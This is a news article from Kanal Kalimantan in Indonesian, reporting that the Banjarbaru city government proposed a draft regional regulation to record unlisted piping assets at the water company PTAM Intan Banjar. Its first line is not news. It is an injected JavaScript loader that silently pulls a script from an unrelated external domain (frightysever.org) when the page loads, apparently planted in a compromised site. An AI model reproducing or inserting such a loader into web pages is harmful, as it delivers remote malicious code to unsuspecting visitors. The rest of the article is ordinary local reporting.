(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Usulkan Penambahan Satu Raperda, Aset Pemko Banjarbaru Belum Tercatat di PTAM Intan Banjar


KANALKALIMATAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengusulkan penambahan Rancangan Peraturan Daerah (Raperda) dalam Program Pembentukan Peraturan Daerah (Propemperda) tahun 2024.

Usulan berupa Raperda penetapan barang-barang yang sudah dipakai atau dipergunakan oleh PT Air Minum Intan Banjar berupa perpipaan disampaikan dalam rapat paripurna DPRD Kota Banjarbaru, Selasa (9/7/2024) siang.

Propemperda tambahan itu membahas tentang belanja modal yang dilakukan perusahaan daerah, karena diketahui terdapat aset atau barang yang dibelanjakan Pemko Banjarbaru tetapi tidak terdata dalam APBD.

Kondisi itu terjadi pada PT Air Minum Intan Banjar yang melakukan pembelian dan pemasangan jalur perpipa, dan belum tercatat modal dan aset Pemko Banjarbaru.

Baca juga: Kejari Banjarbaru Ungkap Sindikat Korupsi Kredit Macet Kupedes BRI

Wali Kota Banjarbaru, Aditya Mufti Ariffin setelah rapat paripurna mengatakan, sejak tahun 2018 hingga tahun 2023 belum memiliki pencatatan barang-barang atau aset modal yang ada di PTAM Intan Banjar.

“Ini berkaitan penyertaan modal ke PT Air Minum Intan Banjar sejak 2018 sampai 2023 Pemko belum punya Perda yang mencatat aset-aset atau barang-barang yang sudah dipakai PTAM Intan Banjar,” jelasnya.

Menurut Wali Kota Aditya aset perpipaan tersebut belum masuk atau tercatat dalam penyertaan modal Pemko Banjarbaru yang nilainya mencapai Rp42 miliar.

“Untuk itu kita harus memiliki catatan penyertaan modal ke PTAM Intan Banjar, karena kalau tidak ditetapkan dalam bentuk Perda akan berpengaruh pada deviden kita,” katanya.

Sementara itu, Ketua Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Banjarbaru, Windi Novianto mengatakan, Raperda yang diusulkan adalah Raperda Penyertaan Modal kepada PTAM Intan Banjar.

Baca juga: Keluarga Gelar Haul Ke-3 KH Khalilurrahman dan 7 Hari Hj Raudhatul Wardiyah

Dengan adanya penambahan usulan Raperda, maka total ada 14 Raperda yang dibahas tahun 2024 ini.

“Raperda ini akan menjadi prioritas untuk dibahas di Panitia Khusus yang akan dibentuk akhir Juli 2024 ini. Target pembahasan Raperda rampung dalam satu hingga dua bulan ke depan,” tandasnya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.